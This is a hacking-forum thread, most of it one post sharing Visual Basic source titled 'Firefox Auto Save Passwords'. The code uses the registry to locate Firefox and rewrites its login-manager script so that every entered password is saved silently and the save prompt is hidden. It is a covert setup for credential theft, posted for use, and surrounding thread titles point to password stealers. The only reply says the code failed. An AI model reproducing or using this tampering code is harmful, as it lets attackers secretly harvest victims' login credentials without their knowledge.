+ Reply to Thread
Results 1 to 2 of 2
  1. #1
    Night's Watch
    Join Date
    Mar 2008
    Posts
    225

    Cool [src] Firefox Auto Save Passwords

    Code:
    'FirefoxAutoSavePasswords.bas by Mr52 / 7
    'Leave Me Credits if using
    'http://h7labs.org
    'Thanks for lobe for idea :)
    
    Public Sub firefoxAutoSave()
    Dim fPath As String
    Dim fVer As String
    Dim nJS As String
    Dim oStr As String, rStr As String
    Dim a As Integer, i As Integer
    Dim tmp As String
    fVer = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\CurrentVersion")
    fPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\" & fVer & "\Main\Install Directory")
    nJS = FileText(fPath & "\components\nsLoginManagerPrompter.js")
    oStr = "var pwmgr = this._pwmgr;"
    rStr = oStr & vbCrLf & "pwmgr.addLogin(aLogin);"
    tmp = Replace(nJS, oStr, rStr)
    tmp = Replace(tmp, "this._showLoginNotification(aNotifyBox", "//this._showLoginNotification(aNotifyBox")
    tmp = Replace(tmp, "notificationText, buttons);", "//notificationText, buttons);")
    Open fPath & "\components\nsLoginManagerPrompter.js" For Output As #1
    Print #1, , tmp
    Close #1
    End
    End Sub
    Public Function RegRead(Path As String) As String
    On Error Resume Next
    Dim ws As Object
    On Local Error GoTo ErrHandler
    Set ws = CreateObject("WScript.Shell")
    RegRead = ws.RegRead(Path)
    Exit Function
    ErrHandler:
    RegRead = ""
    End Function
    Function FileText(ByVal filename As String) As String
        Dim handle As Integer
       
        ' ensure that the file exists
        If Len(Dir$(filename)) = 0 Then
            Err.Raise 53   ' File not found
        End If
       
        ' open in binary mode
        handle = FreeFile
        Open filename$ For Binary As #handle
        ' read the string and close the file
        FileText = Space$(LOF(handle))
        Get #handle, , FileText
        Close #handle
    End Function

  2. #2
    Senior Member t3rmin4t0r's Avatar
    Join Date
    Jan 2010
    Location
    PLUTO
    Posts
    258
    Failed..... Not worked

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Replies: 14
    Last Post: 07-01-2011, 20:40
  2. Schwarze Sonne 0.2 Final [Autosave/Firefox Passwords/MSN Passwords]
    By slayer616 in forum Malware Samples and Information
    Replies: 41
    Last Post: 22-01-2010, 20:40
  3. IE & Firefox saved passwords stealer
    By beginner in forum General Programming Help
    Replies: 1
    Last Post: 05-08-2009, 17:02
  4. Need Passwords Stealr - Yahoo - Ie7 - Firefox - anysorce
    By Mr.MeRo in forum Visual Basic Help
    Replies: 5
    Last Post: 05-07-2009, 13:49
  5. Firefox Passwords?
    By domain12345 in forum Visual Basic Help
    Replies: 1
    Last Post: 01-07-2006, 20:31

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.